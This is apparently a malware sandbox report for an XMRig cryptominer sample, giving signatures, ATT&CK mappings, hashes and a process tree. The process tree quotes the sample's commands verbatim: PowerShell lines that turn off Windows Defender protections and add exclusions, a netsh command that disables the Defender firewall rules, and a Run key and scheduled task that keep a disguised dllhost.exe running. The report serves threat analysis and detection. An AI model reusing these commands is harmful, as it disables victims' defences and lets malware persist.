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2026-07-31...ea.exe

windows10-2004-x64

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2026-07-31...ea.exe

windows11-ltsc_2024-x64

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Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    31/07/2026, 23:35

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General

  • Target
    2026-07-31_8e35a03895a7c7ad19c32db5e63eba0a_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe
  • Size 8.9MB
  • Sample260731-3k229sshpa
  • SHA256 d597fe00aabc409769ca044bc1e407f3636b6f62d9a3463d79a214638ceee956
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionexecutionxmrigminerpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Windows security bypass 2 TTPs 6 IoCs
    defense_evasiontrojan
  • XMRig Miner payload 2 IoCs
    miner
  • Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • detects Windows exceutables potentially bypassing UAC using eventvwr.exe 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Windows security modification 2 TTPs 7 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-31_8e35a03895a7c7ad19c32db5e63eba0a_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-31_8e35a03895a7c7ad19c32db5e63eba0a_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe"
    1⤵
    • Windows security bypass
    • Windows security modification
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass -Command "Restart-Service WinDefend -Force -EA SilentlyContinue; Start-Sleep 3; Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'dllhost.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'UpdateHealthTools.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'WaasMedicAgent.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'SgrmBroker.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'WinSqmApi.exe' -EA SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -MAPSReporting 0 -SubmitSamplesConsent 2 -EA SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true -MAPSReporting 0 -SubmitSamplesConsent 2 -EA SilentlyContinue; netsh advfirewall firewall set rule group='Windows Defender Firewall' new enable=no 2>$null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5876
      • C:\Windows\system32\netsh.exe
        "C:\Windows\system32\netsh.exe" advfirewall firewall set rule "group=Windows Defender Firewall" new enable=no
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        PID:3708
    • C:\Windows\system32\reg.exe
      "reg" add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsHostSvc /t REG_SZ /d \"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" /f
      2⤵
      • Adds Run key to start application
      • Modifies registry key
      PID:5368
    • C:\Windows\system32\schtasks.exe
      "schtasks" /Create /SC ONLOGON /TN Microsoft\Windows\RuntimeBroker\WindowsHostSvc /TR \"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" /RL HIGHEST /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1612
    • C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
      "C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe"
      2⤵
      • Executes dropped EXE
      PID:2004
    • C:\Windows\system32\cmd.exe
      "cmd" /C C:\Users\Admin\AppData\Local\Temp\__rtsvc_cleanup.bat
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3724
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:2356

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        2
        T1059

        PowerShell

        1
        T1059.001

        Windows Command Shell

        1
        T1059.003

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Persistence

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Netsh Helper DLL

        1
        T1546.007

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Privilege Escalation

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Netsh Helper DLL

        1
        T1546.007

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Defense Evasion

        Impair Defenses

        3
        T1562

        Disable or Modify System Firewall

        1
        T1562.004

        Disable or Modify Tools

        2
        T1562.001

        Modify Registry

        4
        T1112

        Credential Access

        Discovery

        Query Registry

        1
        T1012

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

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        Downloads

        dllhost.exe
        • Path C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
        • Size 8.9MB
        • SHA256 d597fe00aabc409769ca044bc1e407f3636b6f62d9a3463d79a214638ceee956
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        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 767fddf8235497bb808370f94146682f711181388efd0c20074c34c2a002b135
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        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 dbb8ab9c5635a9890c6f264b9bd6104e31946a013545c94d6b252a5d1896c01f
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        __PSScriptPolicyTest_1kswxsis.l2f.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1kswxsis.l2f.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
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        __rtsvc_cleanup.bat
        • Path C:\Users\Admin\AppData\Local\Temp\__rtsvc_cleanup.bat
        • Size 204B
        • SHA256 dbefe9de1a628c75a93873c0ceab5cb975b7d7f41df1d7dfdd64f0be73a6c8fd
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        memory/5876-13-0x000001C164F70000-0x000001C164F80000-memory.dmp
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        memory/5876-12-0x000001C164F70000-0x000001C164F80000-memory.dmp
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        memory/5924-0-0x00000226C2840000-0x00000226C2850000-memory.dmp
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        memory/5924-3-0x00000226AA600000-0x00000226AA622000-memory.dmp
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